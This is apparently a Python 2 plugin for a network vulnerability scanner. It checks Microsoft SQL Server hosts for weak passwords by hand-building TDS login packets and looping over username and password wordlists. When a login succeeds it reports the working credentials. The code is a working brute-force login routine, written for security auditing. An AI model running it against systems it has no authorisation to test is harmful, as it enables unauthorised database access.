#-*-coding=utf-8-*-
from __future__ import with_statement

import binascii
import socket

from lib.classloader import register
from lib.pocbase import  pocbase


success = True;


class testpoc(pocbase):
    """
        "name": "SQL Server弱口令",
        "info": "导致数据库敏感信息泄露，严重可导致服务器直接被入侵。",
        "level": "高危",
        "type": "弱口令",
        "author": "hos@YSRC",
        "url": "",
        "keyword": "server:mssql",
        "source": 1
    """
    
    def __init__(self):        
        super(pocbase, self).__init__();
    
    def _match(self, infodict):
        port = infodict["port"];
        service_type = infodict["service_type"] if infodict.get("service_type") else "";
        version = infodict["service_version"] if infodict.get("service_version") else "";

        return int(port) == 1433 or version.lower().find("mssql") != -1 or service_type.lower().find("mssql") != -1;

    def auth(self, host, port, username, password, timeout):
        try:
            socket.setdefaulttimeout(timeout)
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.connect((host, port))
            hh = binascii.b2a_hex(host)
            husername = binascii.b2a_hex(username)
            lusername = len(username)
            lpassword = len(password)
            ladd = len(host) + len(str(port)) + 1
            hladd = hex(ladd).replace('0x', '')
            hpwd = binascii.b2a_hex(password)
            pp = binascii.b2a_hex(str(port))
            address = hh + '3a' + pp
            hhost = binascii.b2a_hex(host)
            data = "0200020000000000123456789000000000000000000000000000000000000000000000000000ZZ5440000000000000000000000000000000000000000000000000000000000X3360000000000000000000000000000000000000000000000000000000000Y373933340000000000000000000000000000000000000000000000000000040301060a09010000000002000000000070796d7373716c000000000000000000000000000000000000000000000007123456789000000000000000000000000000000000000000000000000000ZZ3360000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000Y0402000044422d4c6962726172790a00000000000d1175735f656e676c69736800000000000000000000000000000201004c000000000000000000000a000000000000000000000000000069736f5f31000000000000000000000000000000000000000000000000000501353132000000030000000000000000"
            data1 = data.replace(data[16:16 + len(address)], address)
            data2 = data1.replace(data1[78:78 + len(husername)], husername)
            data3 = data2.replace(data2[140:140 + len(hpwd)], hpwd)
            if lusername >= 16:
                data4 = data3.replace('0X', str(hex(lusername)).replace('0x', ''))
            else:
                data4 = data3.replace('X', str(hex(lusername)).replace('0x', ''))
            if lpassword >= 16:
                data5 = data4.replace('0Y', str(hex(lpassword)).replace('0x', ''))
            else:
                data5 = data4.replace('Y', str(hex(lpassword)).replace('0x', ''))
            hladd = hex(ladd).replace('0x', '')
            data6 = data5.replace('ZZ', str(hladd))
            data7 = binascii.a2b_hex(data6)
            sock.send(data7)
            packet = sock.recv(1024)
            if 'master' in packet:
                return True
        except Exception, e:
            pass


    def _verify(self, infodict):
        host = infodict["ip"];
        port = infodict["port"];
        result = infodict;

        result["success"] = False;
        with open("data/mssql-username.txt") as username:
            with open("data/mssql-password.txt") as password:
                usernames = username.readlines()
                passwords = password.readlines();
                for u in usernames:
                    for p in passwords:
                        u = u.strip()
                        p = p.strip();
                        u = u.replace("\r", "")
                        u = u.replace("\n", "")
                        p = p.replace("\r", "")
                        p = p.replace("\n", "")
                        try:
                            p = str(p.replace("{user}", u));
                            if self.auth(host, port, u, p, 10):
                                result["success"] = True;
                                result["extra"] = "user:pass=%s:%s"%(u, p)
                            return result;
                        except:
                            pass
        return result;

if success:
    register(__file__, testpoc)
else:
    from lib.log import logToScreen
    logToScreen("critical", "no need to execute this");
